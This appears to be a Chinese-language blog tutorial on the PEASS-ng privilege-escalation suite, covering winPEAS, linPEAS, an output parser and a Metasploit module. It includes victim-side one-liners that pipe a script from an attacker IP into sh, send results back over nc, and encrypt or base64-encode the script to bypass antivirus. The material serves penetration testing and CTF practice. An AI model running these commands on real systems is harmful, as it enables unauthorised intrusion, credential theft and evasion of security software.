PEASS-ng Windows/linux/unix*/macOS提权工具

PEASS-ng Windows/linux/unix*/macOS提权工具

PEASS-ng简介

PEASS-ng是一款全平台提权工具,适用于Windows/linux/unix*/macOS提权.

这些工具搜索可能的本地权限提升路径,您可以利用这些路径并将它们以漂亮的颜色打印给您,以便您可以轻松识别错误配置。

PEASS-ng下载地址:

注意:此类工具杀毒软件会报毒

①GitHub

https://github.com/carlospolop/PEASS-ng/archive/refs/heads/master.zip

②云中转网盘:

https://www.yunzhongzhuan.com/#sharefile=o5abRHbB_48257
解压密码:www.ddosi.org

PEASS-ng-master_www.ddosi.org.rar
解压密码:www.ddosi.org

使用方法

详情参考:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe

①WinPEAS用法及说明

YouTube演示视频:

WinPEAS全称:

Windows Privilege Escalation Awesome Script (.exe)

WinPEAS能检查哪些信息:

  • 系统信息
    • 基本系统信息
    • 使用 Watson 搜索漏洞
    • 枚举 Microsoft 更新信息
    • PS、审计、WEF 和 LAPS 设置
    • LSA 保护
    • 凭据保护
    • WDigest
    • 缓存的信用数量
    • 环境变量
    • 互联网设置
    • 当前驱动器信息
    • 杀毒软件
    • Windows Defender
    • UAC 配置
    • NTLM 设置
    • 本地组策略
    • Applocker 配置和绕过建议
    • 打印机
    • 命名管道
    • AMSI 供应商
    • 系统监视器
    • .NET 版本
  • 用户信息
    • 用户信息
    • 当前令牌特权
    • 剪贴板文本
    • 当前登录的用户
    • RDP 会话
    • 曾经登录过的用户
    • 自动登录凭据
    • 主文件夹
    • 密码策略
    • 本地用户详细信息
    • 登录会话
  • 进程信息
    • 有趣的进程(非微软)
  • 服务信息
    • 有趣的服务(非 Microsoft)信息
    • 可修改的服务
    • 可写服务注册表binpath
    • PATH DLL劫持
  • 应用信息
    • 当前活动窗口
    • 安装的软件
    • 自动运行
    • 计划任务
    • 设备驱动程序
  • 网络信息
    • 当前net share
    • 映射驱动器 (WMI)
    • 主机文件
    • 网络接口
    • 监听端口
    • 防火墙规则
    • DNS 缓存(限制 70)
    • 互联网设置
  • Windows 凭据
    • Windows 保险库
    • 凭证管理器
    • 保存的 RDP 设置
    • 最近运行的命令
    • 默认 PS 成绩单文件
    • DPAPI 万能密钥
    • DPAPI 凭据文件
    • 远程桌面连接管理器凭据
    • Kerberos 门票
    • 无线上网
    • AppCmd.exe
    • SSClient.exe
    • SCCM
    • 安全包凭证
    • AlwaysInstallElevated
    • WSUS
  • 浏览器信息
    • Firefox 数据库
    • Firefox 历史上的凭据
    • Chrome 数据库
    • chrome 历史上的凭据
    • 当前的 IE 选项卡
    • IE历史上的凭据
    • IE 收藏夹
    • 提取已保存的密码:Firefox、Chrome、Opera、Brave
  • 有趣的文件和注册表
    •  Putty会话
    • Putty SSH 主机密钥
    • SuperPutty信息
    • OneDrive 同步的 Office365 端点
    • 注册表中的 SSH 密钥
    • 云凭证
    • 检查无人参与的文件
    • 检查 SAM 和 SYSTEM 备份
    • 检查缓存的 GPP 密码
    • 从 McAffe SiteList.xml 文件中检查并提取凭据
    • 可能的具有凭据的注册表
    • 用户家中可能的凭据文件
    • 回收站中可能存在的密码文件
    • 可能包含凭据的文件(这需要几分钟)
    • 用户文件(限制 100 个)
    • Oracle SQL Developer 配置文件检查
    • Slack文件搜索
    • Outlook 下载
    • 机器和用户证书文件
    • Office最近的文件
    • 隐藏的文件和文件夹
    • 具有写入权限的非默认文件夹中的可执行文件
    • WSL 检查
  • 活动信息
    • 登录 + 显式登录事件
    • 流程创建事件
    • PowerShell 事件
    • 电源开/关事件
  • 附加(较慢)检查
    • LOLBAS 搜索
    • 在默认 WSL 分发中运行linpeas.sh

简单用法

打开cmd输入如下命令回车即可

winPEASx64.exe

(注意:运行此工具 需要 .Net >= 4.5.2

WinPEAS执行几乎所有检查只需要几秒钟,在最后一次检查中搜索可能包含密码的已知文件名需要几秒钟/几分钟(时间取决于主文件夹中的文件数量)。默认情况下,仅搜索一些可能包含凭据的文件名,您可以使用searchall参数搜索所有列表(这可能会增加一些时间)。

WinPEAS作用:

在Windows 环境中搜索所有可能的提权路径

注册如下注册表可以高亮显示

REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

高亮显示出来是这个样子的:

winPEAS命令参数

C:\Users\ddos0\Desktop\PEASS-ng_www.ddosi.org>winPEASx64.exe  -h
  [*] WinPEAS是一个二进制文件,它列举了本地升级特权的可能路径
        quiet                不要打印横幅
        notcolor             不要使用ansi颜色(全白)
        domain               列举域信息
        systeminfo           搜索系统信息
        userinfo             搜索用户信息
        processinfo          搜索处理信息
        servicesinfo         搜索服务信息
        applicationsinfo     搜索已安装应用程序信息
        networkinfo          搜索网络信息
        windowscreds         搜索windows的凭证
        browserinfo          搜索浏览器信息
        filesinfo            搜索可以包含凭据的通用文件
        fileanalysis         搜索可能包含凭据的特定文件
        eventsinfo           显示感兴趣的事件信息
        wait                 在两次检查之间等待用户输入
        debug                显示调试信息-内存使用,方法执行时间
        log[=logfile]        将所有输出记录到定义为logfile的文件中,如果没有指定,则记录到"out.txt"

        额外的检查(慢):
        -lolbas              运行额外的LOLBAS检查
        -linpeas=[url]       运行额外的linpeasen.sh检查默认的WSL分发,可选地提供自定义linpeasen.sh URL
                             (默认: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)

WinPEAS默认检查所有项

使用示例:

检查所有项并导出结果为ddosi.org.txt

winPEASx64.exe log=ddosi.org.txt
winpeas.exe #运行所有检查(除了额外较慢的检查 - WSL 中的 LOLBAS 和 linpeas.sh)(嘈杂 - CTFs) 
winpeas.exe systeminfo userinfo #仅执行 systeminfo 和 userinfo 检查
winpeas.exe notcolor #不对输出
着色
winpeas .exe domain #枚举域信息
winpeas.exe wait  #在测试之间等待用户输入
winpeas.exe debug #显示额外的调试信息
winpeas.exe log #将输出记录到 out.txt 而不是标准输出
winpeas.exe -linpeas=http ://127.0.0.1/linpeas.sh #使用自定义 linpeas.sh URL(如果未提供,默认 URL 为:https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts)执行额外的 linpeas 检查(在默认 WSL 分发中运行 linpeas.sh) -suite/master/linPEAS/linpeas.sh) 
winpeas.exe -lolbas   #还执行额外的 LOLBAS 搜索检查

结果是这样的:

②LinPEAS

详情查看:https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

LinPEAS是什么

LinPEAS 是一个脚本,用于搜索在 Linux/Unix*/MacOS 主机上提升权限的可能路径。

此脚本的目标是搜索可能的权限提升路径(在 Debian、CentOS、FreeBSD、OpenBSD 和 MacOS 中测试)。

这个脚本没有任何依赖。

它使用/bin/sh语法,因此可以在任何支持sh(以及使用的二进制文件和参数)中运行。

默认情况下,linpeas 不会向磁盘写入任何内容,也不会尝试以任何其他用户身份使用su.

默认情况下 linpeas 大约需要4 分钟才能完成,但使用-a参数执行所有检查可能需要5 到 10 分钟(CTF 的推荐选项)

  • 从不到 1 分钟到 2 分钟完成几乎所有检查
  • 在系统的所有可访问文件中搜索可能的密码几乎需要 1 分钟
  • 20s/user bruteforce with top2000 密码(需要-a – 请注意,此检查非常嘈杂
  • 1 分钟监控进程以查找非常频繁的 cron 作业(需要-a – 请注意,此检查需要在将被删除的文件中写入一些信息

有趣的参数:

  • -a(所有检查)- 这还将在 1 分钟内执行进程检查,将在文件中搜索更多可能的哈希值,并暴力破解每个用户使用sutop2000 密码。
  • -e (额外的枚举) – 这将执行默认避免的枚举检查
  • -s(超快和隐身) – 这将绕过一些耗时的检查 –隐身模式(不会将任何内容写入磁盘)
  • -P(密码) – 传递一个密码,该密码将与其他用户一起使用sudo -l并暴力破解其他用户
  • -D(调试)- 打印有关未发现任何内容的检查以及每次检查所用时间的信息
  • -d/-p/-i/-t(本地网络枚举)-Linpeas 还可以发现和端口扫描本地网络

用法

chmod+x linpeas.sh
./linpeas.sh -h

LinPEAS参数列表

┌──(root㉿ddosi)-[~/x]
└─# ./linpeas.sh -h   
枚举和搜索特权升级向量。
该工具将枚举并搜索主机内部可能的错误配置(已知的vulns、用户、进程和文件权限、特殊文件权限、可读/可写文件、暴力破解其他用户(top1000pwds)、密码……),并用颜色突出显示可能的错误配置。
      -h 显示此帮助消息
      -q 不显示横幅
      -e 执行额外的枚举
      -s 超快(不检查一些耗时的检查)-潜行模式
      -a 所有检查(1分钟的进程和su)——噪声模式,主要用于CTFs
      -w 在大块检查之间等待执行
      -N 不要使用颜色
      -D 调试模式
      -P 指定用于运行'sudo -l'和通过'su'强制其他用户帐户的密码
      -o 只执行选定的检查(system_information、container、procs_crons_timers_srvcs_sockets、network_information、users_information、software_information、interesting_files)。选择逗号分隔的列表。
      -L 强制linpeas执行。
      -M 强制macpeas执行。
      -d <ip netmask="">使用fping或ping发现主机。</ip>例: -d 192.168.0.1/24
      -p <PORT(s)> -d <IP/NETMASK> 发现寻找TCP开放端口的主机(通过nc)。默认端口22、80,443,445、3389和您指定的另一个端口将被扫描(如果您不想添加更多端口,请选择22)。您也可以添加端口列表。例如:-d 192.168.0.1/24 -p 53,139
      -i <IP> [-p <PORT(s)>] 使用nc扫描IP。默认情况下(没有-p),将扫描nmap的top1000,但您也可以选择一个端口列表。例如:-i 127.0.0.1 -p 53,80,443,8000,8080
      -t 自动网络扫描(主机发现和端口扫描)-此选项写入文件
         注意,如果指定一些网络扫描(options -d/-p/-i,但NOT -t),将不会执行PE检查

颜色说明

LinPEAS 使用颜色来指示每个部分的开始位置。但它也使用它们来识别潜在的错误配置

红色/黄色用于识别导致 PE 的配置(99% 肯定)。 

红色用于识别可能导致 PE 的可疑配置:

  • 可能的可利用内核版本
  • 易受攻击的 sudo 版本
  • 识别以 root 身份运行的进程
  • 未安装的设备
  • 危险的 fstab 权限
  • 有趣目录中的可写文件
  • 具有某些易受攻击版本的 SUID/SGID 二进制文件(它还指定易受攻击的版本)
  • 可用于在 sudo -l(无密码)中提升权限的 SUDO 二进制文件(https://gtfobins.github.io/
  • 检查 /etc/doas.conf
  • 网络统计中的 127.0.0.1
  • 可能包含密码的已知文件
  • 有趣的二进制文件中的功能
  • 二进制文件的有趣功能
  • 有关 cron 作业的信息中的可写文件夹和通配符
  • PATH 中的可写文件夹
  • 可能导致root的组
  • 可能包含密码的文件
  • 可疑的 cronjobs

绿色用于

  • 由 root 运行的常用进程
  • 安装常见的不感兴趣的设备
  • 不危险的 fstab 权限
  • SUID/SGID 通用二进制文件(该 bin 已在其他机器中找到,并且 searchsploit 未识别任何易受攻击的版本)
  • 路径中的常见 .sh 文件
  • 执行进程的用户的通用名称
  • 常见的 cronjobs

蓝色用于:

  • 没有shell的用户
  • 安装设备

浅青色用于:

  • 有shell的用户

浅洋红色用于:

  • 当前用户名

使用示例

#本地网络
sudo python -m SimpleHTTPServer 80 #主机
curl 10.10.10.10/linpeas.sh | sh #受害者

#没有 curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #主机
cat < /dev/tcp/10.10.10.10/80 | sh #受害者

##从内存中执行并将输出发送回主机
nc -lvnp 9002 | tee linpeas.out #主机
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #受害者
#输出到文件
./linpeas.sh -a > /dev/shm/linpeas.txt #受害者
less -r /dev/shm/linpeas.txt #用颜色读取
#使用二进制文件
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
AV bapass(杀毒软件绕过)
#open-ssl 加密
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #启动 HTTP 服务器
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #从受害者那里下载

# Base64 编码
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #启动 HTTP 服务器
curl 10.10.10.10/lp.enc | base64 -d | sh #从受害者那里下载

截图示例

运行linpeas.sh

基础信息和系统信息…

可提权的一些漏洞

虚拟机检测

用户历史登陆记录

检测到的ssh密钥

还有很多信息自行发掘.

导出linPEAS执行结果

可以使用如下命令导出结果

./linpeas.sh > ddosi.org.txt

③parsePEASS

详细使用方法:https://github.com/mnemonic-re/parsePEASS
https://github.com/carlospolop/PEASS-ng/tree/master/parsers

parsePEASS简介

parsePEASS是PEASS-ng 的解析器和转换器,使用 PEASS_ng 内置解析器解析原始 linpeas\winpeas 输出文件并将其转换为可读 HTML 或 PDF 格式的 Bash 脚本。

从列表中选择原始输出文件,您将获得有关操作的选项。

将原始输出文件转换为 HTML

此外,您可以重新启动新文件的脚本,或者在完成后直接退出。

Firefox 中的最终结果:

使用方法

这些脚本允许您将 linpeas/macpeas/winpeas 的输出转换为 JSON,然后转换为 PDF 和 HTML。

①导出检查结果
./linpeas.sh > ddosi.org.txt     #Linux/Unix*/MacOS环境:

winPEAS.bat > ddosi.org.txt      #Windows环境:
winPEASany.exe log=ddosi.org.txt #Windows环境:
②把结果使用如下命令转换为json格式的文件

例如:

python3 peas2json.py ddosi.org.txt ddosi.org.json

注意事项:如果python3运行报错,那就编码一下导出的文件为utf8格式

③把json文件转换为html/pdf格式:
python3 json2html.py ddosi.org.json ddosi.org.html
python3 json2pdf.py ddosi.org.json ddosi.org.pdf

整体命令:

python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html>

④PEASS metasploit模块

详情:https://github.com/carlospolop/PEASS-ng/tree/master/metasploit

您可以使用此模块从 metasploit 中获得的 Meterpreter 或 shell 会话自动执行 PEASS 脚本

手动安装

peass.rb文件复制到modules/post/multi/gather/metasploit 安装中的路径。

kali里面命令操作如下:

sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/
#或者
sudo wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb

现在您可以reload_all在正在运行的 msfconsole 中进行操作,或者下次启动新的 msfconsole 时,会自动加载peass 模块。

如何使用它

msf6 exploit(multi/handler) > use post/multi/gather/peass
msf6 post(multi/gather/peass) > show info

       Name: Multi PEASS launcher
     Module: post/multi/gather/peass
   Platform: BSD, Linux, OSX, Unix, Windows
       Arch: 
       Rank: Normal

Provided by:
  Carlos Polop <@carlospolopm>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name        Current Setting                                                           Required  Description
  ----        ---------------                                                           --------  -----------
  PARAMETERS                                                                            no        Parameters to pass to the script
  PASSWORD    um1xipfws17nkw1bi1ma3bh7tzt4mo3e                                          no        Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used
                                                                                                  .
  PEASS_URL   https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/wi  yes       Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng
              nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe                              /master/linPEAS/linpeas.sh
  SESSION                                                                               yes       The session to run this module on.
  SRVHOST                                                                               no        Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.
  SRVPORT     443                                                                       no        Port to download the PEASS script from using http(s) (only used if SRVHOST)
  SSL         true                                                                      no        Indicate if you want to communicate with https (only used if SRVHOST)
  SSLCert                                                                               no        Path to a custom SSL certificate (default is randomly generated)
  TEMP_DIR                                                                              no        Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in
                                                                                                   Windows and "/tmp" in Unix.
  TIMEOUT     900                                                                       no        Timeout of the execution of the PEASS script (15min by default)
  URIPATH     /mvpo.txt                                                                 no        URI path to download the script from there (only used if SRVHOST)

描述:

该模块将启动指定的PEASS(特权升级
Awesome脚本套件)脚本枚举系统。
如果您使用的是Unix或
如果你用的是Windows系统,请转到WinPEAS。默认情况下,这个脚本将上传
将PEASS脚本发送到主机(加密和/或编码)
加载并执行它。您可以将此模块配置为下载
这个metasploit实例的加密/编码PEASS脚本通过
使用HTTP而不是上传。

References:
  https://github.com/carlospolop/PEASS-ng
  https://www.youtube.com/watch?v=9_fJv_weLU0

请注意,默认情况下,如果要上传经过混淆的 PEASS 脚本,但如果您设置 SRVHOST,它将通过 http(s) 从 metasploit 实例下载(因此不会在受感染主机的磁盘中写入任何内容)。

请注意,您可以设置-h这样的参数在PARAMETERS,然后 linpeas/winpeas 只会显示帮助(就像从控制台执行它们时一样)。

重要提示:在脚本执行完成之前,您不会看到任何输出。

项目地址:

GitHub:

https://github.com/carlospolop/PEASS-ng

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注